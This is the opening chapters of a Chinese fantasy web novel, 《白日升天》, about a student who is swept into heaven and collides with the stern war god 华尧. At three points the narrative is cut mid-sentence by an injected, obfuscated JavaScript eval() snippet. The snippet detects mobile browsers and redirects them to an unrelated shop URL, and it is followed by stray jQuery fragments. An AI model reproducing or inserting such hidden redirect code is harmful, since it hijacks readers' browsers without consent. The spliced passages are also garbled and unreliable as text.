《白日升天》 1. 升天 天色昏沉,闪电如银龙游走在云端,摆尾的刹那,骤然照亮天际一隅。 惨淡的白撕裂了乌云的阴沉,低迷的色彩转瞬又将这一丝光线吞噬殆尽。 只见闪电不闻雷声,几个来回,天地越发昏暗,压抑得透不过气。 豆大的雨点砸在慕小闲单薄的衣袖上,升腾的水汽裹挟着夏日的闷热迎面而来。 她抱着几本旧书,匆匆走过一条人烟稀少的长街,站在回学校必经的十字路口前等候人行道红灯转绿。 一辆拐弯的车飞驰而过,溅起的水花逼得她接连向后退了几步。 贴身的口袋突然呜呜震了一下,她把书往怀里挪挪,腾出一只手将手机取出。 “喂?我正在回学校的路上......”原来是舍友睡到中午才醒,让她回来时帮忙带口饭。 举手之劳,慕小闲并不在意,只是今天出门时忘了带伞,这天气怕是不好。 路口的指示灯哒哒哒哒地响着,她冒着零星雨点快走了几步,忽的脚步渐缓,余光被什么东西吸引了过去。 熙熙攘攘的十字路口,一袭清冷的身影立在马路中央,看不十分真切。他身着素色衣衫,身姿单薄,气息微弱,冷峻的侧颜在淅淅沥沥的雨帘中似真似幻,淌了水的青丝如绸缎垂在身后。 像朦胧烟雨中飘摇的柳絮,沉寂中带着些许无可奈何的凄清。 慕小闲看不清他的样貌与神情,只觉得有些奇怪,这个人为何打扮成这副模样站在路中央。她没有停下脚步,在绿灯的闪烁中,匆匆向斑马线另一端走去,就在她即将与那个身影错身而过时,周遭的环境突然发生了变化。 凌乱的脚步声、嘈杂的议论声、汽车引擎的嗡鸣声、“叭叭”的喇叭声...... 一切萦绕在她耳旁的声响戛然而止,摇摇欲坠的雨点静止在半空,倒计时的红绿灯停在某个瞬间,周边漫步的人群陡然消失,路上的车辆也蒸发殆尽。 天地之间,浮世尘喧离她远去,她像是落入了一个与世隔绝、虚无缥缈的封闭空间。 就在她被这突如其来的变化吓得停住脚步时,路中央那个人影缓缓的转过身面向她,不过依然看不清容颜。 他徐徐伸出几近透明的手,轻声说:“回来……” 他站在几米开外的地方,悲悯的声音却清晰地飘进了慕小闲的耳朵,让她的思绪瞬间全部放空,什么也不知道了。 ——砰 手里的书散落在地。 砸落的手机卡顿了一下,转而传来:"喂?喂……" 她像什么也没听见似的,对着空无一物的十字路口中央走去,缓缓伸出了手。 在她轻轻搭上那悬在空中的虚影时,眼前的人影突然缩成一道闪电般的光抽向上空,消失在她瞳孔的倒影之中。 忽而乌云四散,阴沉的色彩由浓转淡。初晴的阳光透过云层照耀在大地,城市恢复了生机。 。 慕小闲活了十九年,虽然拥有许多不足为外人道也的幻想,但也是一个从小沐浴在新闻联播的熏陶下,坚持科学发展观的唯物主义好青年。 她怎么也没想到自己的身体居然从地面陡然升起,速度之快犹如火箭飞射,一瞬间她已经离地千万米,钻进了云海之中。 层层叠叠的云海在她眼前无限放大,一束耀眼的金光透过云海,待她靠近,金光像绚烂的烟火一样向四面八方散开,形成一张巨大的网。 来不及反应,她就被那张网收了进去。 几秒钟恍惚之后,她突然落在云端。 她躺在洁白柔软的云层上,望着上空眨了眨眼睛,久久不能回神。半晌她抬起手给了自己一巴掌,清脆的声音和火辣辣的痛觉让她清醒过来,坐起身惊恐地望着周遭的一切。 四周是刺眼的白色。 天空没有遮掩辽阔至极,苍茫的天地之间,她就像是一粒渺小得微不足道的尘埃。 “这里是哪里......”慕小闲惊愕地忘了眨眼,不由自主地喃喃道。 她站起身向前走了几步,视线内一望无际的苍白,她冲着翻滚的云海大喊一声:“有没有人——这里是哪里——放我回去——” 声音很快飘散,周遭没有一丁点回应。 慕小闲又蹲下身用双手扒了扒云层,她不知道自己能扒出什么,一如她不知道自己该怎么办。 云层太过厚实,如同泥土一般,她的手指在反复挖掘中变得又僵又红,却怎么也扒不到底。她颓然跌坐在云层上,一股眩晕涌上头顶,心中陡然升起一个荒诞的想法。 她白日升天了!可是这怎么可能呢? 慕小闲深吸几口气,压下了心里的躁动不安,站起身再次环顾四周。 出乎意料的是,不远处,云端浮现了一片茂盛的桃林。清风拂过,漫天迷离的粉白摇曳,如同一片粉色的海洋,几瓣繁华带着一丝甜腻的气息飘落在她的脚边。 天上怎么能有桃林?她一定是疯了。 慕小闲不知该作何感想,略略迟疑了一下,便走向那片桃林,望着枝头暗暗淡淡的粉,小心翼翼地向深处走去。 她缓缓穿过眼前遮遮掩掩的桃树,隐隐感觉前方似乎藏着什么东西。她顿了一下,提起一口气,快走了几步,一栋威严庄重的建筑猛然闯入她的眼帘。 一座辉宏的琉璃宫殿悬于渺渺云雾之中,伴着淙淙清流,仙气缭绕,阒静而典雅,恍若海市蜃楼。宫殿上悬挂着一金色牌匾,上面刻着难以辨认的古体字。 在巨大的宫殿前,慕小闲的身影显得愈加渺小,她仰着头微微发怔,渐渐有些回过味了。 难道她穿越了? 正当她在石阶前不知所措时,宫殿的门“吱呀”一声推开,一个高大的身影跨过门槛,立在了大门前。他抬眼向她瞥来,那双如黑曜石般漆黑深邃的眼眸冷沉地望着她,像一口深不见底的寒潭。 他五官俊朗刚毅,身姿硬挺,着一身青黑色卷云纹织金锦袍,脚踏长靴,腰间陡然收拢,别着浅色的龙纹玉带。在他的目光落下的瞬间,一股难以言喻的压力随之而来,明明一言未发就让人望而生畏。 慕小闲从未见过如此摄人心魂的容貌,她掐了掐手指,有丝丝疼。 那人的眼眸中倒映出她迷茫又惶恐的样子,微微蹙起眉:“你是何人?”他声音低沉,带着一丝高高在上的傲然。 慕小闲赶忙问:“请问这里是哪里?” 他的目光略带揣摩,但神色未变,依然端的极为严肃,用不带丝毫情绪的声音冷漠地说:“不管你是谁,这里不是你该来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137665|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。”言罢,多余的眼神也不愿施舍给她,便要转身踏回门内。 慕小闲刚刚经历了突然升天,来到了一个前不着村后不着店的地方,好不容易看到了一个大活人,当然不能轻易放过。 她跟上前几步,迈上了宫殿前的石阶,追问道:“这里是哪里?你知道我为什么会在这里吗?” 对方冷酷的身影没有回应,只是脚步不易察觉地缓了一下,转身时宽大的衣袖像暗黑色蝴蝶在身侧划过一道悠扬的弧线。 见他并不理会,慕小闲快步冲上石阶,病急乱投医地伸手去抓他飞舞的衣袖。 在她快要碰到袖口的瞬间,对方突然收了手,侧过身瞥向她,硬朗的眉眼透出骇人的光。如果说刚才他的眼神一直是漠然,那么此刻眼底便毫不掩饰地流露出浓烈的厌恶之情,仿佛她是什么脏东西一般。 只一回眸,慕小闲便浑身被震慑得不敢动弹,慌乱中,心底又冒出了一股委屈。 他看似轻轻一挥袖,带起的余力却汹涌无比。慕小闲眼前突然天旋地转,身体毫无防备地被掀了出去。 那人见她翻滚在地,神色依旧没有一丝波澜,转身不紧不慢地向门内走去。 慕小闲眼冒金星地爬起来,再看那人的身影时,心中的委屈翻涌成了高涨的火焰。 就算她冒然出现、问东问西,惹他不悦,也不是可以被随意对待的。冲动是魔鬼!于是她做了一件可以说是惊天地泣鬼神的事。 她一个箭步冲至那人的身后,一脚踹在了他的腰线以下。 男人未料到她会突然发难,猝不及防地挨了一脚,踉跄冲撞上那扇虚掩的门,差点跌进门槛。 他杵着门没有回头,周身的气氛仿佛陡然凝固,一种乌云蔼蔼风雨欲来的压迫感在四周弥漫。 慕小闲心里隐隐升腾起一种不好的预感,下意识说道:“不好意思啊,突然腿抽筋了。我不是故意的,你......你还好吧......” 良久,那人缓缓回头,脸色阴沉得可怕,唇齿微张似乎想说什么,一行鼻血就这样打破了他伪装的一切,把他精心塑造的深沉形象瞬间摧毁。 他抹了鼻子,看着手上的红迹,薄唇紧抿,眉宇之间凝聚着杀气。 ……简直找死! 他抬袖轰地一声,门前的石墩应声炸裂。 慕小闲眼见石墩在她面前碎裂成分子形态,不由瞪大了眼睛,暗道大事不好,她竟然没发现他在袖子里面藏了“大炮”。 她脚下连退几步,和他拉开距离,嚷嚷道:“你刚才做了什么?有事说事,别动手啊!” 男人浑身紧绷,如同一只等待狩猎的猛兽,而慕小闲在他眼中弱小得如同一只蝼蚁。他的眉头皱的更紧了,张开的五指在衣袖间凝聚起一个旋转的光球,威力之大,慕小闲的头发都被掀得在空中胡乱飞舞起来。 光球的旋转速度越来越快,外晕越来越刺眼,一股强大的气流带着灼烧感扑面而来。 慕小闲被接二连三不合常理的事情彻底搅懵了,她的脑海中浮现出四个大字:龟!派!气!功! 见势不妙,她扭头就跑,用尽全身力气边跑边喊:“救命!还有没有人啊!”她一头扎进桃林,在横斜的花枝中曲折逃窜,扭头望了一眼,差点吓得晕厥过去。 2. 神仙 桃林茂盛,她在摇曳的繁花间穿梭,带起急促的风,卷落片片花叶。那人冷沉着一张脸,黑金色的身影移动的速度极快,步步紧追她而来。 慕小闲慌不择路地从桃林的尽头一跃而出,就见两位衣袂飘飘的人影正淡定自若地踏着浮云从上空飞掠而过,垂眸看见她时神色一变,六目相望,一时竟分不清谁的神情更为震惊。 慕小闲:他们为什么在天上飞? 两位空中飞人:她为什么在下头追? 慕小闲腿下一软,又转头窜回桃林,未跑几步就见那修罗一般的身影携着威力巨大的光球,一步一步向她迎面走来。 她心如擂鼓,耳边嗡鸣,仿佛浑身的血液倒流冲上头顶。 他要杀人灭口!一定是不想让别人知道他被一脚踢出了鼻血! 慕小闲后退几步,环顾四周却没有能够遮挡之物。 “停!”她伸出一只手阻止他靠近:“我有话要说。” 对方杀气不减,漆黑的眼眸死死地盯着她,薄唇吐出一个字:“说。” 慕小闲慌张道:“我不知道你是什么人,也不知道这里是什么地方,我只觉得我实在太倒霉了。我平时安分守己、矜矜业业,从来没有做过伤害自己危害他人的事。凭什么别人穿越还有缓冲的时间,运气不错甚至能够提前拿到剧本,而我什么好处都没捞着,一开始就遇见了一个得了失心疯的变态啊啊啊啊啊啊——” 她转身又开始飞奔,要说为什么? 因为身后那个严重超出她认知范围的男人带着怒气,咬牙切齿地说:“你找死。” 背后透过来刺眼的光线,有股强大力量将她往前推! 再推?再推她就要从天上掉下去了! 慕小闲声音中带出了哭腔:“我错了我错了我错了,我不是故意的,你最帅你最正常了,一定是我疯了,不然我也不会出现在这里......” 但是他还是穷追不舍! 慕小闲抽得上气不接下气,反人类的光球离她越来越近,强劲的气流将慕小闲的头发衣服吹的乱飞。就在她万念俱灰之时,遥远的天际突然传来一声:“华尧上神,手下留人啊!” 这一声力挽狂澜,仿佛整个天空都被照亮。 趁着男人停顿的间隙,慕小闲飞快地躲去了一棵树后。 远处一位白胡子飘飘的老头,拄着木杖,驾着祥云,飞驰而来。那朵祥云一个急刹车,老头就从上面叽里咕噜滚进桃林之中,沾了满身的花瓣,一路滚到了慕小闲脚边。 慕小闲扶起老头,明知不该还是忍不住揶揄:“不必行此大礼。” 老头一口气没上来,两眼一翻就要过去了,吓得慕小闲赶紧在他后背重重地锤了两下。 老头重重咳了几声,缓过气来,抬起头道:“哎呀,年纪大了,就是不中用啊。我居然被一个小姑娘弄得差点下去和阎王唠嗑了,然而我并不会死,嘿嘿。哎呀,说正事!我是来救你的。” 方才的紧张气氛顿时一松,慕小闲长吁一口气,不禁暗暗感慨道,古今中外的小说诚不欺我,果然主角在危机时刻会有英雄从天而降,救人于水火之中。英雄老点没关系,只要能救命就是好的。 她“嗷”地一声扑上去抱大腿,宛如抓住了救命稻草:“不管你是谁,你可算来了,我差点被那失心疯灭口了!我都不知道他为何突然发怒,我踢他一脚他踢回来不就成了,我也没想到他会撞在门上……” 老头目瞪口呆:“那还真是没想到……” 一旁那位“华尧上神”的怒气更甚,直接越过老头,对慕小闲劈下一掌。 灼热的光球带着飞旋的气流当空袭来,慕小闲还未反应过来,就觉得身体一轻,被老头夹在身侧,跃至半空。 点点繁花在视野里铺散开来,连绵几里皆是飞旋的粉色。 “啊啊啊啊啊啊啊——”桃林上空回荡着慕小闲撕心裂肺的喊叫声。 老头不知做了什么,慕小闲只觉他一侧的衣袖从面前轻轻拂过,便将那急转而上的气流顿时化作春风,伴随着落英缤纷,悠扬地飘散在未知处。 他悠悠降落在地面,放下惊魂未定的慕小闲,拦在她的面前,着急地摆摆手说:“华尧上神,切莫与凡人置气,何况这娃娃可劈不得啊!” 华尧闻言冷冷地扫了他一眼:“长庚星君这是何意?” 华尧上神。长庚星君。 慕小闲迟疑了一瞬,缓缓抬眼看向那个疯子,有些琢磨出点门道了,她这不是穿越了,她是真的升天了。 可是她从未听过华尧上□□讳,天上什么时候有这样一位凶神恶煞的神明,该不会是假冒的吧? 她探究地在华尧身上打量,不怀好意的目光被华尧半途犀利地截了道,狠狠地瞪了回去。 长庚星君上前一步,说:“华尧上神,我受司命星君所托,前来告诉你,这娃娃是你一万年前种下的劫,不能无果而终啊!” 一万年? …… 时间跨度之大再次超出了慕小闲的认知范围,她的脑海中不禁浮现出远古丛林里两只扭打在一起的……猿人。 慕小闲蹙起眉,难道她突然升天就是因为这个男人? 她心中陡然生起一股怒意,在长庚星君身后探出头,眼露火光冲华尧先发制人:“原来这一切都是因为你,是因为你,我才突然升天的对不对?你为什么把我弄到这儿来?快放我下去!” 华尧的脸又阴了三分,咬牙问:“你说什么?”看样子好似对她为何升天并不知情。 慕小闲带着疑虑缩回头,拍了下长庚星君:“星君大人,我是不是死了?我怎么会突然升天?世界上为什么会有神仙?” 长庚星君捋捋胡须说:“你没有死,你怎么会死呢?你这是机缘到了立地飞升,这是多少凡人求也求不来的。一切事情的发生都有因果,你能来这儿肯定有原因,你且等着看。有神仙很正常,若是没有神仙,凡人活得多没盼头啊哈哈哈哈。” 慕小闲又问:“为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137666|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡间科技这么发达,飞机火箭升空,还有卫星监测,就没有人发现你们的踪迹?” 长庚星君捋了捋胡子,眯着眼睛笑道:“我们所属的空间不同啊。两个空间只存在一个切口,我们可以通过切口看到他们,但是他们却进不来。不过我们偶尔也会露出点蛛丝马迹,不然怎么吸引凡人修仙?不过他们修仙没成几个,倒是话本写了不少。那些话本固然有趣,但他们也是真的不争气啊......” 慕小闲还是似懂非懂。 长庚星君摊了摊手:“这样说吧,你就当你是穿越到另一个世界了,凡间不是很流行这个吗?怎么样,老头我懂很多吧?” 慕小闲:“星君大人,你懂得确实不少。” 一旁华尧还是被低气压笼罩。 长庚星君的目光落在华尧身上,偷偷瞄了他一眼,又赶紧将目光收回来,故作镇定地说:“能够白日升天绝非偶然,机缘何在还需要慢慢观察,不可操之过急。华尧上神,这娃娃初来乍到不懂事,您别与她一般计较。既然她甫一升天就遇见了您,也是一种缘分。总之,一定不能伤了这娃娃,这些天就好生照料她,之后如何再从长计议,我想她自会有她的缘法。” 长庚星君爬上祥云,摆了摆手,忽然原地起飞:“上神,小心因果律啊。”整个过程如行云流水,一秒都不敢耽搁,留下面色都不好看的两人驻足眺望。 慕小闲回过神来,对着长庚星君飘走的背影呼喊:“长庚星君,你怎么走了?你刚才说的是什么意思?我现在该怎么办?我不想和他待在一起!” 长庚星君背对着她挥了挥手,表达的意思大致是,我知道你很崇拜我,但是不用追了。真的不用追了。呀,你怎么还追? 慕小闲转过头看华尧,他正若有所思地望着她。 “不想和我待在一起?那就快滚!”他眯了眯眼睛,身上散发着寒气。 慕小闲正要点头,忽然反应过来若是她真的滚了,刚才不就白折腾了? 长庚星君临走时说了,要华尧好生照料她,就是帮她找了个长期饭票。她在这里人生地不熟,这时若是走了还能去哪儿?仔细想一想,如果留在华尧这里,华尧每日看不惯她却要伺候她的样子,一定很有意思。 正所谓识时务者为俊杰,她又不是真君子,自然可以随时临阵倒戈。 慕小闲换下忿忿不平的眼神,忽而挂起伪善的笑意,那笑容看似柔和却暗藏算计。 “不,我怎么能走呢,我若是走了,大神你一万年前种下的劫数可就解不开了。我只好勉为其难留下,顺手帮你一把。你可得把握好这个机会,好生招待我,这样你才能逢凶化吉。” 华尧方才消退的怒意又冉冉升起,压着声音道:“你说什么。” 见势不妙,慕小闲这次学乖了,岔开话题道:“我们也算不打不相识,刚才那一脚就此翻篇,今后旧事不再重提。如果你实在想踢回来,也可以打个商量,不过你都成仙了,委实不必如此斤斤计较哈……” 3. 乱入 近来天界可谓是非常热闹,几条小道仙闻正以台风般的速度席卷天街小巷,迅速成为各路神仙茶余饭后津津乐道的谈资。 第一条,有凡人一枚突然升天闯入天界,还自带光芒四射的金黄色礼花。要说她没有后台?呵呵,谁信呐! 第二条,华尧上神居然被这个凡人给狠狠地揍了。连还手的余地都没有!真的!那鼻血流的......啧啧啧,我都不忍直视! 第三条,华尧上神居然不计前嫌将这个倒霉凡人留在宫殿中做仙侍。拍桌!是我,是我我就不忍了! 华尧上神是何许人也?天界恐怕无人不知无人不晓。他天生尊贵,自诞生以来经历过无数战役,为天庭立下了赫赫战功,是天庭第一武神。因他地位尊贵,实力卓绝,又生的丰神俊朗,就连天帝都敬他三分。 只是他素来阴晴不定,平日深沉冷漠如坚硬的岩石,不将任何人放在眼中,但若是有人不小心惹怒了他,他便化身为修罗大杀四方,以毁天灭地之势让人痛不欲生、悔不当初。 听闻华尧上神收留了一凡间女子,诸位神官在诧异之外,纷纷为那女子捏了一把冷汗。 不过也有人对那女子的身份多有揣测,毕竟凡人心浮气躁、急功近利,已经上千年没有人悟道成仙,往天界输送新鲜血液了。这个凡人来势汹汹,突然升天便找上了华尧上神,怕是来头不小。 她降落在华尧上神的鎏华殿附近,除了口风极紧的长庚星君和两名偶然路过的仙人,几乎没有别的神官见过她的真容。 诸位神官开始有意无意地“路过”鎏华殿,但又不敢靠的太近,怕打扰华尧上神小命不保。一时间,宫殿旁的那片桃林,成为了天庭近期热门旅游景点。 长庚星君走后,慕小闲和华尧再次一言不合、两看相厌。打也打不过,骂也不敢骂,于是慕小闲想争一口气出走,借此给彼此一个台阶,以此建立起一种互不打扰、互不干涉的和平关系。 她在宫殿外一边缓慢挪移一边冲后头高声呼喊:“我走了,这次我是真的要走了。我知道你舍不得我,但是不用留我了。真的不用!如果你想留我,只需轻轻唤一声!”哪知道华尧根本不为所动,冷眼旁观她做戏打转儿。 慕小闲在鎏华殿外磨蹭了一圈,终于输给了“咕咕”乱叫的肚子。没办法,她得抓紧这张长期饭票。那句话怎么说来着?有奶便是娘,只是这个娘脾气有点不好。 庄严肃穆的琉璃宫殿在白云间泛着金光,慕小闲再次登上石阶,回望了一眼来时融融冶冶的桃林,转身踏入了宫殿的门槛。门后别有洞天,又是另一番云雾缭绕的亭台楼阁。 凡人抵挡不了肚子饿,慕小闲在华尧的宫殿中找到了几盘茶点,在她大快朵颐之时,向华尧旁敲侧击问出了天界的背景。天界自开天辟地以来已存在数十万年,她现在所在的地方,正是诸天神官统辖的天庭。 就在慕小闲还心存侥幸,企图当做什么事也没发生过,回到凡间继续生活时,却被华尧泼了一盆冷水。 他说天上一日,地上一年,她消失了几个时辰,凡间早已物是人非。何况她已窥见天机,天庭断不会再放她私自下凡,乱了天地间的秩序。 也就是要么留下,要么被抹去。 不知是幸运还是不幸,慕小闲并无至亲,在凡间的十多年野生野长,居然也安安稳稳地活了下来。 她在饱餐一顿后,细细思索起她在天庭的生存问题。她好不容易考上大学,怀揣着一夜暴富的梦想,还没来得及报效祖国就升天了。升天之后呢?没有仙位、不会仙术、也没有后台,变成了一个“三无”人员。 她那坚持科学发展观的专业在天界反而成了伪科学,她能瞎掰上几句的英语水平,显然在这一群操着流利现代汉语的万年大佬中无任何用武之地。 也不知道东方神明和西方神明之间沟通需不需要个翻译?不过他们好像并没有开通业务往来?唉,烦躁! 慕小闲坐在金丝楠木案几边,焦灼地叹了口气,又想到另一个问题:“我现在还是凡人吗?我既然留在了天界,现在是什么身份?” 华尧道:“你现在属于没有仙藉的散仙。” 慕小闲可不在乎什么散仙不散仙的,只要带个仙字,那便都是神仙。凡人修炼数千年都未必能成仙,她在大街上白捡了一个身份,未免太容易。 突然成仙的慕小闲眼前一亮,双手合十满眼憧憬道:“既然我现在是仙女了,那我是不是得有自己住的仙宫楼阁之类的?住得太寒酸都对不起这个身份。” 华尧额头上的青筋跳了跳,一听见慕小闲的声音他就涌上一股火气,他揉了揉太阳穴,沉声道:“你半路出家,天庭是断不承认的。你从我这里出去,就是仙仙喊打的邪物。” 慕小闲笑容僵在唇角,眨了眨眼睛:“什么意思?难道我还不能离开你这鬼......你这宅邸了?” 华尧说:“你可以试试。” 慕小闲与华尧对视一眼,皆在双方眼中看到了挑衅的神色。 在几个回合无声的较量中,慕小闲率先败下阵来。她在刚刚经历了一系列突破认知的剧情后,根本不敢拿自己宝贵的生命开玩笑。她望着头顶纤尘不染的琉璃瓦,琢磨着先暂住在这里也不是不行。 她深吸一口气,状似不经意地抬抬眼,话题一转,问了另一个问题:“华尧上神,你可知道一万年前究竟发生了什么?” 另一端,华尧抱着双臂嗤笑一声,一双剑眉星目就算是生气也神采奕奕:“我知道你想问什么,不过长庚星君说的我一个字都不信,我不畏惧天劫,所以别想拿一万年前的事要挟我。你究竟为何白日升天,不关我的事,我这里从来不养闲人,你若是要留下,便好好想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137667|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己能做什么。” 闲人说谁?当然是名字听上去就很闲的慕小闲。 慕小闲本想先套住华尧,但他却清醒得令人生厌。她呜咽一声倾倒在案几上,长叹一口气:“可是我什么也不会,为什么别人穿越能当咸鱼,我都升天了还要靠自己卷?不就是吃了你家几盘点心,华尧上神,你贵为天神难道还差我几口吃的,何必为难我一个弱小可怜又无助的凡人。” 华尧握拳的手紧了紧,生生忍住了想撬开她的天灵盖看看里面都装了什么的冲动,一甩袖匆匆回屋了,生怕晚走一步毁了自己一世英名。 落日的余晖渐渐褪去,清冷的月光送来了一丝凉意,零星烛光从窗棂流泻下墙角边缘,宫殿外的桃林陷入沉寂。 鎏华殿内宽敞阔绰,华尧随手指了一闲置的房间暂且让慕小闲住下。房间虽空置许久,但陈设却极是精美,叫不出名的材质通体透亮,泛着莹莹光泽,再加上巧夺天工的技艺,使得一间卧房犹如陈列奇珍的宝库。 慕小闲好奇之余,对此甚是满意。只是在夜深辗转反侧、无人知晓时,丝丝未知的恐慌会从心口渗透,腐蚀整个胸膛,纠缠她直到天亮。 接连几日被失学又失业的恐惧折磨,慕小闲挂着两只黑眼圈坐在宫殿门前的石阶上,望着桃林发呆。正在她心绪不宁时,头上忽然挨了一下。 她捡起身边之物,神色恍然地回头,远处如同高山一般威严的黑色身影,正站在檐下阴影处望着她,看不清神清,但语气却很强硬:“起来干活。” 慕小闲低头看着手中的扫帚,郁闷地想:“我堂堂一介大学生,怎么能做这种事情?”,须臾转念一想:“我堂堂一介大学生,有什么不能做?”便操起扫帚,神色坦然地走到石阶前打扫起来,可谓是大丈夫能屈能伸。 只是桃林并非想象中的闲适安逸,揣着各色心思的仙人见到慕小闲忙着给华尧的宫殿洒扫庭除,恰好证实了他们这些天的揣测。 “看,前些日子升天的那个凡人在华尧上神那儿做仙侍呢。” 华尧上神哪里需要什么仙侍,动动手指便能将方圆十里无论牛鬼蛇神收拾得干干净净,他一定是想着法子折磨那个凡人。神官只觉得她可怜,一升天就遇到了个硬茬。 慕小闲明着替华尧打扫屋子,暗地里将宫殿疯狂地搜刮了一通,虽然找到了一些稀奇古怪的物件和看不出名堂的古籍,但是还是没有找到她想要的——手机电脑! 华尧外出修炼完,回屋看到一地乱扔的古籍和趴在案几上面色惨白、奄奄一息的慕小闲,眼皮一跳,有种不好的预感。他忍着心中的厌恶和烦躁问:“你又怎么了?” 慕小闲微张着嘴,眼神空洞地望着房梁,仿佛一只离水的鱼。她淡淡瞥了一眼华尧,有气无力地说:“我得了一种一定要玩手机的病,而且已经病入膏肓了......” 4. 天街 如果慕小闲要写一篇《浅析天界网络普及滞后的原因》,那么文章最终的结论可能是:这里没有信号。 至此,慕小闲彻底断了和凡间联系的妄想,开始老老实实学做一名神仙。 不过鎏华殿虽然看上去富丽堂皇,却没有她能穿的女子服侍。她甫一穿着那身怪异的装束出现在桃林,便会吸引众多目光。太过惹眼并非好事,在她的央求下,华尧答应带她去天街置办衣物。 华尧踏上一片白白软软的祥云,身上金纹图腾的黑色劲装勾勒出矫健的身型,高高束起的长发随风飘扬。 待慕小闲讪讪地踏上祥云,祥云像是闹别扭似的甩了下尾巴,咻地一声立刻起飞! 慕小闲一个踉跄扑向华尧。 华尧皱了下眉头,反手似乎要将她推下去,但在最后关头却紧了紧拳头忍着收回了手,冷冷地看着她结结实实地跪在他脚边。 这一系列的动作慕小闲没有看清,但她却感受到了一股稍纵即逝的恶意。她自知讨不到好,索性盘腿坐在了祥云上。 桃林和宫殿逐渐远去,他们乘风而上,在浩瀚缥缈的云间穿梭。 “这小家伙是不是不喜欢我啊?”慕小闲问。 “我的祥云自然随我。”华尧冷漠地说。 慕小闲撇撇嘴,侧过身去。 白云深处传来窸窸窣窣的声音,慕小闲低头望下去,目光穿过层层云雾,渐渐能看到仙山琼楼错落有致地堆叠在云间。 脚下所过之处越来越热闹,祥云载着他们悠悠降落在一处高大的牌坊前,牌坊上刻着通红的两个大字——天街。 牌坊之后,形态各异的酒楼茶庄、声乐场所,一个挨着一个排到了目及之处的尽头。 咻的一声,空中划过一条云尾,又有仙人降落在了牌坊前。 华尧一出现,仙群中立刻炸开了锅。 华尧上神可是很少来这种闹市,今天吹的什么风?稀客稀客! 咦?他旁边那个衣着古怪的女人,该不会就是传说中白日升天的凡人女子吧? 呀!华尧上神难道是专门陪她来逛街的?华尧上神莫不是被她抓住了把柄? 群众的眼睛是雪亮的,大家都有一颗吃瓜不要钱,不吃白不吃的心。 熙熙攘攘的仙群悄悄退到两边,为华尧上神让出了一条路。 华尧大步流星地走进喧闹的天街,两侧若有若无的视线偷偷地观察着他们。慕小闲跟在华尧身后,被眼前从未见过的新鲜事物吸引了全部注意。 两侧楼阁林立,远近高低各不相同。两只白鹤从空中穿云而过,如同身临虚幻的梦境。 街面支着几个小摊,摆放着琳琅满目的器具、首饰、字画、珠宝......样样独一无二、精巧绝伦。 店家趁着四周聚集了几位仙人,忽然展开画卷,画上秀丽的花鸟虫鱼浮现空中,清风拂动,画面栩栩如生地舞动了起来。栖在枝头的鸟儿似是被客人惊得展翅欲飞,鱼儿倏而摆尾,在大片翠绿的荷叶间嬉戏。 另一边,摊主也不示弱,拿出一盏画着山水风情的走马灯,随着轮轴转动,四周的景物竟然发生了变换,微风带着清凉的气息拂过,人们仿佛正乘舟江上,眺望两岸青山。 一位身着灰色长袍的男仙打开了一把色泽艳丽的油纸伞,伞面忽而一转掩盖了众人的视线,当他幽幽将伞搭在肩上,抬眉轻笑着望向看客时,却变作了一名身着荷粉裙裾、淡妆清丽的仙女。 仙群驻足围观,啧啧称奇。 慕小闲东瞧瞧西看看,眼睛仿佛饱餐一顿,连眨也不敢眨,生怕一个不小心错过了见所未见的奇珍异宝。 复行几步,一幢阁楼的二楼突然传来女子如银铃般的笑声,就见一梳着云鬓、身姿婀娜的仙女,挽着悠悠飘扬的薄纱飘带,从绛红凭栏处伸出纤纤玉手,随风洒落几瓣清香四溢的玉兰花瓣。 慕小闲不由看呆,美若天仙大抵就是这副模样,她心中的震撼无法言表。 华尧脚步一缓,慕小闲就一头撞在了他坚实的后背上。 华尧微微侧目,面色不善地瞥了她一眼,眼中带着警告之意,转首前行。慕小闲趁他回头,冲他哼哼两声,又转头去看街边摆放的小玩意。 正走着,忽然身后像是被人牵扯住,还未回头便听见后头带着几分娇嗔与无奈叫道:“般般!” 她一回头便看见一只小麒麟,正咬着她的裤脚俯下身子和她较劲。 一个用粉色绸缎扎着双丫髻,身着鹅黄霓裳的女子快步跑到她跟前,略带歉意地对慕小闲说:“抱歉,可能是你的服饰太奇特了,它觉得好玩。” 她样貌姣好,看上去与慕小闲差不多大,眼中流露出却超乎年纪的清明,又蹙起眉,佯装恼怒地冲那只小神兽说:“般般,别玩了,你看谁家的小娃娃这么不听话!我的脸都被你丢尽了!” 慕小闲不在意地笑笑,在身上比划了一下:“没关系,我穿的确实比较奇怪。” 